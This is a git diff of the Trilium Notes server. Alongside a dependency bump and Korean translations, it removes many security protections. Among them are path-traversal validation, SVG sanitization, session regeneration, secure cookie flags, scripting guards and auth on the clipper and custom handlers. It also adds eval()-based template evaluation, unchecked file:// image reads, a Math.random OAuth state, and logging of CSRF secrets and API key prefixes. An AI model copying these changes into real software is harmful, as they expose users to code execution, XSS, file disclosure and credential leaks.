"@anthropic-ai/sdk": "0.78.0",
"@braintree/sanitize-url": "7.1.2",
"@electron/remote": "2.1.3",
"@triliumnext/commons": "workspace:*",
@@ -83,7 +83,7 @@
"debounce": "3.0.0",
"debug": "4.4.3",
"ejs": "4.0.1",
"electron": "40.4.1",
"electron": "40.6.0",
"electron-debug": "4.1.0",
"electron-window-state": "5.0.3",
"escape-html": "1.0.3",

View File

@@ -21,7 +21,8 @@ beforeAll(async () => {
ns: "server",
backend: {
loadPath: join(__dirname, "../src/assets/translations/{{lng}}/{{ns}}.json")
}
},
showSupportNotice: false
});
// Initialize dayjs

View File

@@ -67,13 +67,3 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -1,6 +1,6 @@
{
"keyboard_actions": {
"back-in-note-history": "기록 내 이전 노트로 이동하기",
"back-in-note-history": "히스토리의 이전 노트로 이동하기",
"open-command-palette": "명령어 팔레트 열기",
"delete-note": "노트 삭제",
"quick-search": "빠른 검색바 활성화",
@@ -81,7 +81,27 @@
"open-dev-tools": "개발자 도구 열기",
"find-in-text": "검색 패널 토글",
"toggle-left-note-tree-panel": "좌측(노트 트리) 패널 토글",
"toggle-full-screen": "전체 화면 토글"
"toggle-full-screen": "전체 화면 토글",
"paste-markdown-into-text": "클립보드에서 마크다운 파일을 텍스트 노트에 붙여넣습니다",
"cut-into-note": "현재 노트에서 선택 영역을 잘라내어 하위 노트를 생성합니다",
"add-include-note-to-text": "노트 추가 대화 상자를 열기",
"edit-readonly-note": "읽기 전용 메모를 편집",
"toggle-link-map": "링크 맵 토글",
"toggle-note-info": "노트 정보 토글",
"toggle-note-paths": "노트 경로 토글",
"toggle-similar-notes": "유사 노트 토글",
"other": "기타",
"toggle-right-pane": "오른쪽 창(목차와 하이라이트) 표시 여부 전환",
"print-active-note": "활성 노트 인쇄",
"open-note-externally": "노트를 파일 형식으로 열기(기본 애플리케이션 사용)",
"zoom-out": "축소",
"zoom-in": "확대",
"note-navigation": "노트 내비게이션",
"reset-zoom-level": "확대/축소 초기화",
"copy-without-formatting": "선택한 텍스트를 서식 없이 복사",
"force-save-revision": "활성 노트의 새 버전을 강제로 생성/저장",
"toggle-book-properties": "컬렉션 속성 토글",
"toggle-classic-editor-toolbar": "고정 도구 모음 에디터의 서식 탭을 전환"
},
"hidden-subtree": {
"zen-mode": "젠 모드",

View File

@@ -172,8 +172,7 @@ function setExpandedForSubtree(req: Request) {
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -3,7 +3,6 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -206,36 +205,13 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request) {
const noteId = req.params.noteId;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
const note = becca.getNoteOrThrow(noteId);
@@ -256,8 +232,6 @@ function uploadModifiedFileToAttachment(req: Request) {
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
const attachment = becca.getAttachmentOrThrow(attachmentId);
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);

View File

@@ -10,21 +10,6 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -7,7 +7,6 @@ import type { Request, Response } from "express";
import type BNote from "../../becca/entities/bnote.js";
import type BRevision from "../../becca/entities/brevision.js";
import { RESOURCE_DIR } from "../../services/resource_dir.js";
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
function returnImageFromNote(req: Request, res: Response) {
const image = becca.getNote(req.params.noteId);
@@ -35,12 +34,6 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
renderSvgAttachment(image, res, "mermaid-export.svg");
} else if (image.type === "mindMap") {
renderSvgAttachment(image, res, "mindmap-export.svg");
} else if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
@@ -63,9 +56,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
}
}
const sanitized = sanitizeSvg(svg);
setSvgHeaders(res);
res.send(sanitized);
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
}
function returnAttachedImage(req: Request, res: Response) {
@@ -80,17 +73,9 @@ function returnAttachedImage(req: Request, res: Response) {
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
}
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
function updateImage(req: Request) {

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
async function loginSync(req: Request) {
function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,17 +112,6 @@ async function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -109,8 +109,10 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"aiTemperature",
"aiSystemPrompt",
"aiSelectedProvider",
"openaiApiKey",
"openaiBaseUrl",
"openaiDefaultModel",
"anthropicApiKey",
"anthropicBaseUrl",
"anthropicDefaultModel",
"ollamaBaseUrl",
@@ -119,31 +121,17 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"mfaMethod"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
const optionMap = optionService.getOptionMap();
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isReadable(optionName)) {
if (isAllowed(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -178,10 +166,7 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
log.info(`Updating option '${name}' to '${value}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -219,20 +204,13 @@ function getSupportedLocales() {
return getLocales();
}
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
function isAllowed(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,

View File

@@ -7,7 +7,6 @@ import syncService from "../../services/sync.js";
import sql from "../../services/sql.js";
import type { Request } from "express";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -23,7 +22,6 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -46,7 +44,6 @@ async function exec(req: Request) {
}
function run(req: Request) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -71,10 +68,6 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -87,10 +80,6 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
} else {
@@ -99,10 +88,6 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -132,8 +117,6 @@ function getRelationBundles(req: Request) {
}
function getBundle(req: Request) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -5,7 +5,6 @@ import becca from "../../becca/becca.js";
import type { Request } from "express";
import ValidationError from "../../errors/validation_error.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -27,7 +26,6 @@ function getSchema() {
}
function execute(req: Request) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -1,13 +1,12 @@
import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: config.Network.https,
secure: false,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,15 +6,9 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -70,14 +64,6 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -14,7 +14,7 @@ function register(app: Application) {
&& err.code === "EBADCSRFTOKEN";
if (isCsrfTokenError) {
log.error(`Invalid CSRF token for ${req.method} ${req.url}`);
log.error(`Invalid CSRF token: ${req.headers["x-csrf-token"]}, secret: ${req.cookies["_csrf"]}`);
return next(new ForbiddenError("Invalid CSRF token"));
}

View File

@@ -15,7 +15,7 @@ import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import etapiRevisionsRoutes from "../etapi/revisions.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import anthropicRoute from "./api/anthropic.js";
import appInfoRoute from "./api/app_info.js";
@@ -261,7 +261,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -274,10 +274,8 @@ function register(app: express.Application) {
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);

View File

@@ -107,8 +107,6 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -72,16 +72,9 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

View File

@@ -6,9 +6,6 @@ import { randomString } from "./utils.js";
import eraseService from "./erase.js";
import type BNote from "../becca/entities/bnote.js";
import { ActionHandlers, BulkAction, BulkActionData } from "@triliumnext/commons";
import { evaluateTemplate } from "./safe_template.js";
import { executeBundle } from "./script.js";
import { assertScriptingEnabled } from "./scripting_guard.js";
type ActionHandler<T> = (action: T, note: BNote) => void;
@@ -47,8 +44,9 @@ const ACTION_HANDLERS: ActionHandlerMap = {
},
renameNote: (action, note) => {
// "officially" injected value:
// - note (the note being renamed)
const newTitle = evaluateTemplate(action.newTitle, { note });
// - note
const newTitle = eval(`\`${action.newTitle}\``);
if (note.title !== newTitle) {
note.title = newTitle;
@@ -107,26 +105,15 @@ const ACTION_HANDLERS: ActionHandlerMap = {
}
},
executeScript: (action, note) => {
assertScriptingEnabled();
if (!action.script || !action.script.trim()) {
log.info("Ignoring executeScript since the script is empty.");
return;
}
// Route through the script service's executeBundle instead of raw
// new Function() to get proper CLS context, logging, and error handling.
// The preamble provides access to `note` and `api` as the UI documents.
const noteId = note.noteId.replace(/[^a-zA-Z0-9_]/g, "");
const preamble = `const api = apiContext.apis["${noteId}"] || {};\n` +
`const note = apiContext.notes["${noteId}"];\n`;
const scriptBody = `${preamble}${action.script}\nnote.save();`;
const scriptFunc = new Function("note", action.script);
scriptFunc(note);
executeBundle({
note: note,
script: scriptBody,
html: "",
allNotes: [note]
});
note.save();
}
} as const;

View File

@@ -136,14 +136,7 @@ export interface TriliumConfig {
* log files created by Trilium older than the specified amount of time will be deleted.
*/
retentionDays: number;
};
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
}
}
/**
@@ -465,21 +458,6 @@ const configMapping = {
defaultValue: LOGGING_DEFAULT_RETENTION_DAYS,
transformer: (value: unknown) => stringToInt(String(value)) ?? LOGGING_DEFAULT_RETENTION_DAYS
}
},
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
};
@@ -533,19 +511,9 @@ const config: TriliumConfig = {
},
Logging: {
retentionDays: getConfigValue(configMapping.Logging.retentionDays)
},
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
};
// Desktop builds always have scripting enabled (single-user trusted environment)
if (process.versions["electron"]) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
/**
* =====================================================================
* ENVIRONMENT VARIABLE REFERENCE

View File

@@ -3,7 +3,7 @@
import dateUtils from "../date_utils.js";
import path from "path";
import packageInfo from "../../../package.json" with { type: "json" };
import { getContentDisposition } from "../utils.js";
import { getContentDisposition, waitForStreamToFinish } from "../utils.js";
import protectedSessionService from "../protected_session.js";
import sanitize from "sanitize-filename";
import fs from "fs";
@@ -468,6 +468,7 @@ async function exportToZip(taskContext: TaskContext<"export">, branch: BBranch,
taskContext.taskSucceeded(null);
}
async function exportToZipFile(noteId: string, format: ExportFormat, zipFilePath: string, zipExportOptions?: AdvancedExportOptions) {
const fileOutputStream = fs.createWriteStream(zipFilePath);
const taskContext = new TaskContext("no-progress-reporting", "export", null);
@@ -479,6 +480,7 @@ async function exportToZipFile(noteId: string, format: ExportFormat, zipFilePath
}
await exportToZip(taskContext, note.getParentBranches()[0], format, fileOutputStream, false, zipExportOptions);
await waitForStreamToFinish(fileOutputStream);
log.info(`Exported '${noteId}' with format '${format}' to '${zipFilePath}'`);
}

View File

@@ -9,12 +9,11 @@ import oneTimeTimer from "./one_time_timer.js";
import type BNote from "../becca/entities/bnote.js";
import type AbstractBeccaEntity from "../becca/entities/abstract_becca_entity.js";
import type { DefinitionObject } from "./promoted_attribute_definition_interface.js";
import { isScriptingEnabled } from "./scripting_guard.js";
type Handler = (definition: DefinitionObject, note: BNote, targetNote: BNote) => void;
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
if (!note) {
return;
}

View File

@@ -18,7 +18,8 @@ export async function initializeTranslations() {
ns: "server",
backend: {
loadPath: join(resourceDir, "assets/translations/{{lng}}/{{ns}}.json")
}
},
showSupportNotice: false
});
// Initialize dayjs locale.

View File

@@ -82,8 +82,10 @@ export class AnthropicService extends BaseAIService {
providerOptions.betaVersion
);
// Confirm API key is configured without logging any part of the key
log.info(`[DEBUG] Anthropic API key is ${providerOptions.apiKey ? 'configured' : 'not configured'}`);
// Log API key format (without revealing the actual key)
const apiKeyPrefix = providerOptions.apiKey?.substring(0, 7) || 'undefined';
const apiKeyLength = providerOptions.apiKey?.length || 0;
log.info(`[DEBUG] Using Anthropic API key with prefix '${apiKeyPrefix}...' and length ${apiKeyLength}`);
log.info(`Using Anthropic API with model: ${providerOptions.model}`);

View File

@@ -10,7 +10,6 @@ import {
} from './provider_options.js';
import { PROVIDER_CONSTANTS } from '../constants/provider_constants.js';
import { SEARCH_CONSTANTS, MODEL_CAPABILITIES } from '../constants/search_constants.js';
import { isSafeProviderBaseUrl } from '../../url_validator.js';
/**
* Get OpenAI provider options from chat options and configuration
@@ -27,11 +26,6 @@ export function getOpenAIOptions(
}
const baseUrl = options.getOption('openaiBaseUrl') || PROVIDER_CONSTANTS.OPENAI.BASE_URL;
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`OpenAI base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
const modelName = opts.model || options.getOption('openaiDefaultModel');
if (!modelName) {
@@ -97,11 +91,6 @@ export function getAnthropicOptions(
}
const baseUrl = options.getOption('anthropicBaseUrl') || PROVIDER_CONSTANTS.ANTHROPIC.BASE_URL;
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`Anthropic base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
const modelName = opts.model || options.getOption('anthropicDefaultModel');
if (!modelName) {
@@ -169,10 +158,6 @@ export async function getOllamaOptions(
throw new Error('Ollama API URL is not configured');
}
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error(`Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.`);
}
// Get the model name - no defaults, must be configured by user
let modelName = opts.model || options.getOption('ollamaDefaultModel');
@@ -244,10 +229,6 @@ async function getOllamaModelContextWindow(modelName: string): Promise<number> {
throw new Error('Ollama base URL is not configured');
}
if (!isSafeProviderBaseUrl(baseUrl)) {
throw new Error('Ollama base URL uses a disallowed scheme. Only http: and https: are permitted.');
}
// Use the official Ollama client
const { Ollama } = await import('ollama');
const client = new Ollama({ host: baseUrl });

View File

@@ -25,10 +25,8 @@ import type { NoteParams } from "./note-interface.js";
import optionService from "./options.js";
import request from "./request.js";
import revisionService from "./revisions.js";
import { evaluateTemplateSafe } from "./safe_template.js";
import sql from "./sql.js";
import type TaskContext from "./task_context.js";
import { isSafeUrlForFetch } from "./url_validator.js";
import ws from "./ws.js";
interface FoundLink {
@@ -121,17 +119,17 @@ function getNewNoteTitle(parentNote: BNote) {
const titleTemplate = parentNote.getLabelValue("titleTemplate");
if (titleTemplate !== null) {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
try {
const now = dayjs(cls.getLocalNowDateTime() || new Date());
// "officially" injected values:
// - now
// - parentNote
title = evaluateTemplateSafe(
titleTemplate,
{ now, parentNote },
title,
`titleTemplate of note '${parentNote.noteId}'`
);
// "officially" injected values:
// - now
// - parentNote
title = eval(`\`${titleTemplate}\``);
} catch (e: any) {
log.error(`Title template of note '${parentNote.noteId}' failed with: ${e.message}`);
}
}
// this isn't in theory a good place to sanitize title, but this will catch a lot of XSS attempts.
@@ -505,14 +503,24 @@ const imageUrlToAttachmentIdMapping: Record<string, string> = {};
async function downloadImage(noteId: string, imageUrl: string) {
const unescapedUrl = unescapeHtml(imageUrl);
// SSRF protection: only allow http(s) URLs and block private/internal IPs.
if (!isSafeUrlForFetch(unescapedUrl)) {
log.error(`Download of '${imageUrl}' for note '${noteId}' rejected: URL failed SSRF safety check.`);
return;
}
try {
const imageBuffer = await request.getImage(unescapedUrl);
let imageBuffer: Buffer;
if (imageUrl.toLowerCase().startsWith("file://")) {
imageBuffer = await new Promise((res, rej) => {
const localFilePath = imageUrl.substring("file://".length);
return fs.readFile(localFilePath, (err, data) => {
if (err) {
rej(err);
} else {
res(data);
}
});
});
} else {
imageBuffer = await request.getImage(unescapedUrl);
}
const parsedUrl = url.parse(unescapedUrl);
const title = path.basename(parsedUrl.pathname || "");

View File

@@ -1,5 +1,4 @@
import type { NextFunction, Request, Response } from "express";
import crypto from "crypto";
import openIDEncryption from "./encryption/open_id_encryption.js";
import sqlInit from "./sql_init.js";
import options from "./options.js";
@@ -122,7 +121,7 @@ function generateOAuthConfig() {
scope: "openid profile email",
access_type: "offline",
prompt: "consent",
state: crypto.randomBytes(32).toString("hex")
state: "random_state_" + Math.random().toString(36).substring(2)
},
routes: authRoutes,
idpLogout: true,

View File

@@ -1,188 +0,0 @@
/**
* Safe template evaluator that replaces eval()-based template string interpolation.
*
* Supports only a controlled set of operations within ${...} expressions:
* - Property access chains: `obj.prop.subprop`
* - Method calls with a single string literal argument: `obj.method('arg')`
* - Chained combinations: `obj.prop.method('arg')`
*
* This prevents arbitrary code execution while supporting the documented
* titleTemplate and bulk rename use cases:
* - ${now.format('YYYY-MM-DD')}
* - ${parentNote.title}
* - ${parentNote.getLabelValue('authorName')}
* - ${note.title}
* - ${note.dateCreatedObj.format('MM-DD')}
*/
import log from "./log.js";
/** Allowed method names that can be called on template variables. */
const ALLOWED_METHODS = new Set([
"format",
"getLabelValue",
"getLabel",
"getLabelValues",
"getRelationValue",
"getAttributeValue"
]);
/** Allowed property names that can be accessed on template variables. */
const ALLOWED_PROPERTIES = new Set([
"title",
"type",
"mime",
"noteId",
"dateCreated",
"dateModified",
"utcDateCreated",
"utcDateModified",
"dateCreatedObj",
"utcDateCreatedObj",
"isProtected",
"content"
]);
interface TemplateVariables {
[key: string]: unknown;
}
/**
* Evaluates a template string safely without using eval().
*
* Template strings can contain ${...} expressions which are evaluated
* against the provided variables map.
*
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
* @param variables - Map of variable names to their values
* @returns The interpolated string
* @throws Error if an expression cannot be safely evaluated
*/
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
const result = evaluateExpression(expression.trim(), variables);
return result == null ? "" : String(result);
});
}
/**
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
*
* Supported forms:
* - `varName` -> variables[varName]
* - `varName.prop` -> variables[varName].prop
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
* - `varName.method('arg')` -> variables[varName].method('arg')
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
*/
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
// Parse the expression into segments: variable name, property accesses, and optional method call.
// We handle: varName(.propName)*.methodName('stringArg')?
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
const methodCallMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
);
if (methodCallMatch) {
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as (arg: string) => unknown).call(target, methodArg as string);
}
// Check for a no-arg method call at the end: .methodName()
const noArgMethodMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
);
if (noArgMethodMatch) {
const [, chainStr, methodName] = noArgMethodMatch;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
